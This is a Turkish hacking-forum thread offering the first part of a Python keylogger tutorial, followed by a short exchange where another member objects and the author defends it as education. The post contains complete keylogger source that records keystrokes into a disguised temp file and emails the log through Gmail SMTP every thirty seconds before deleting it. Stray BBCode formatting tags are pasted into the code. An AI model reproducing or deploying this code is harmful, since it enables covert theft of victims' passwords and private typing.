Hoşgeldin Misafir

Keyloger Açık Kaynak Ve Mantığı Python P1

35izmir

35izmir

🆁🅴🅸🆂🅲🅸🆂🅴🆅🅴🆁
11 Ocak 2018
2,701 Mesaj

Aktiflik

Seviye

Deneyim

TIM / GÖREV:
alan-walker-hacker.gif



S-elam Zalım Hıçkırlar ve Olağan Lamer Abiler


Güzel bir konu ile Başlamak İstiyorum Her Zalım Hackerın Yapacağı gibi Keyloger Yapımı


Önce Kodlarımıza Bakalım ve Anlayalım


Not:


Kendinize Mutlaka bir Hosting Ve Domain Edinin Çünkü Bilgiler Oraya Düşecektir




Kod:
from pynput.keyboard import Listener,Key from email.mime.multipart import MIMEMultipart[/FONT][/FONT][/FONT][/FONT][/FONT][/FONT][/SIZE][/FONT][/SIZE][/CENTER]
[SIZE=6][FONT=Arial Black][SIZE=6][FONT=Arial Black][FONT=Arial Black][FONT=Arial Black][FONT=Arial Black][FONT=Arial Black][FONT=Arial Black][CENTER]from email.mime.text import MIMEText

import smtplib

import os

import time

import threading




liste = list()

cpdurum = False

shdurum = False

gr_durum = False



gr_liste = ["}",">","£","#","$","½","","{","[","]"]

shliste = ["=","!","'","^","+","%","&","/","(",")"]

rakam = "0123456789"



def main():



   def bas(key):



       global liste,cpdurum,shdurum,gr_durum



       try:



           if shdurum:



               if key.char in rakam:



                   liste.append(shliste[int(key.char)])



               else:



                   if key.char == "*":



                       liste.append("?")



                   elif key.char == "-":



                       liste.append("_")



                   elif not cpdurum:



                       liste.append(key.char.upper())



                   else:



                       liste.append(key.char)







           elif gr_durum:



               if key.char in rakam:



                   liste.append(gr_liste[int(key.char)])



               else:



                   if key.char == "*":



                       liste.append("\\")



                   if key.char == "-":



                       liste.append("|")



                   if key.char == "q":



                       liste.append("@")









           elif cpdurum:



               liste.append(key.char.upper())



           else:



               liste.append(key.char)



       except AttributeError:



           if key ==  Key.space:



               liste.append(" ")



           if key == Key.enter:



               liste.append("\n")



           if key == Key.backspace:



               liste.append("'<-'")





           if key == Key.caps_lock:



               cpdurum = not cpdurum



           if key == Key.shift_r or key == Key.shift_l:



               shdurum = True



           if key == Key.alt_gr:



               gr_durum = True







       if len(liste) >= 30:



           dosya_yaz()



           liste = list()







   def birak(key):



       global shdurum,gr_durum



       if key == Key.shift_l or key == Key.shift_r:



           shdurum = False



       if key == Key.alt_gr:



           gr_durum = False





   def dosya_yaz():



       global liste



       username = os.getlogin()



       with open("C:/Users/"+username+"/Appdata/Local/Temp/system-info-78.txt","a",encoding = "utf-8") as file:



           for x in liste:



               file.write(x)







   with Listener(on_press=bas,on_release=birak) as listener:



       listener.join()





def mail_gonder():



   while 1:





       time.sleep(30)



       username = os.getlogin()



       konum = "C:/Users/"+username+"/Appdata/Local/Temp/system-info-78.txt"



       try:

           if os.path.getsize(konum) >= 60:



               with open(konum,"r",encoding = "utf-8") as file:



                   icerik = file.read()





               yapi = MIMEMultipart()



               yapi["From"] = "kimden"

               yapi["To"] = "kime"

               yapi["Subject"] = "LOG"



               yazi = MIMEText(icerik,"plain")



               yapi.attach(yazi)



               server = smtplib.SMTP("smtp.gmail.com",587)



               server.ehlo()



               server.starttls()



               server.login("kullanici_adi","parola")



               server.sendmail("kimden","kime",yapi.as_string())



               server.close()



               os.remove(konum)



       except:



           pass





t1 = threading.Thread(target = main)

t2 = threading.Thread(target = mail_gonder)



t1.start()

t2.start()






Şimdi Alıntılar İle İlerleyeceğiz Anlaşılır Bir Şekilde



-from pynput.keyboard import Listener,Key

from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
import smtplib
import os
import time
import threading




Baş Kısmımız Kütüphanelerimizi Dahil Ettiğimiz Alan




pynput.keyboard // USB İle Bağlı Cihazları Kontrol Etmemizi Sağlayan Kütüphanedir Örnek Klavye Fare Gibi
Listener,Key // Klavye Üzerinden Basılan Tuşları Algılamaya Yarar
email.mime.multipart // Mail Göndermeye Yarar
email.mime.text // Text Formatında Göndermeyi Sağlar
smtplib // Mail Sunucusu Ayarlamayı Sağlar


Değişkenler

// Açıklamayacağım Konu Uzar Araştırıp Çözersin Gr Sh Özel Tuşları Algılaması İçin

-liste = list()--

cpdurum = False

shdurum = False

gr_durum = False


gr_liste = ["}",">","£","#","$","½","","{","[","]"]

shliste = ["=","!","'","^","+","%","&","/","(",")"]
rakam = "0123456789"

Devamı P2 De P2 İçin Tıkla (Konuyu Yazdığımda Eklerim)
 
Moderatör tarafında düzenlendi:

Security

25 Ağu 2017
894 Mesaj

Aktiflik

Seviye

Deneyim

TIM / GÖREV:
Bu alıntı ve işe çok fazla yaramaz tek başına konuyu okusaydin önce paylaşım yapmadan içerisinde ne döndüğünü anlamalısin aksi taktirde bu şekilde yaparak hem kendine hemde kullanıcılara zarar verirsin kurban edeceğine kurban olursun.
 

35izmir

35izmir

🆁🅴🅸🆂🅲🅸🆂🅴🆅🅴🆁
11 Ocak 2018
2,701 Mesaj

Aktiflik

Seviye

Deneyim

TIM / GÖREV:
Security' Alıntı:
Bu alıntı ve işe çok fazla yaramaz tek başına konuyu okusaydin önce paylaşım yapmadan içerisinde ne döndüğünü anlamalısin aksi taktirde bu şekilde yaparak hem kendine hemde kullanıcılara zarar verirsin kurban edeceğine kurban olursun.

İnce ve Duyarlı Yorumun İçin Teşekkürler Secu reis ama burda bir suça teşfik etmiyoruz Mantığını ve İzlenmesi Gereken Yolu Anlatıyoruz En Basit tabirlerle yalın bir halde konuyu paylaşıyorum sonuçta sürekli balık verilirse Balık tutmayı Kim Öğrenecek Mimarinin mantığını anlamaları okurları bir tık daha ileri götürür buda asıl amacımı gerçekleştirmemi sağlar :)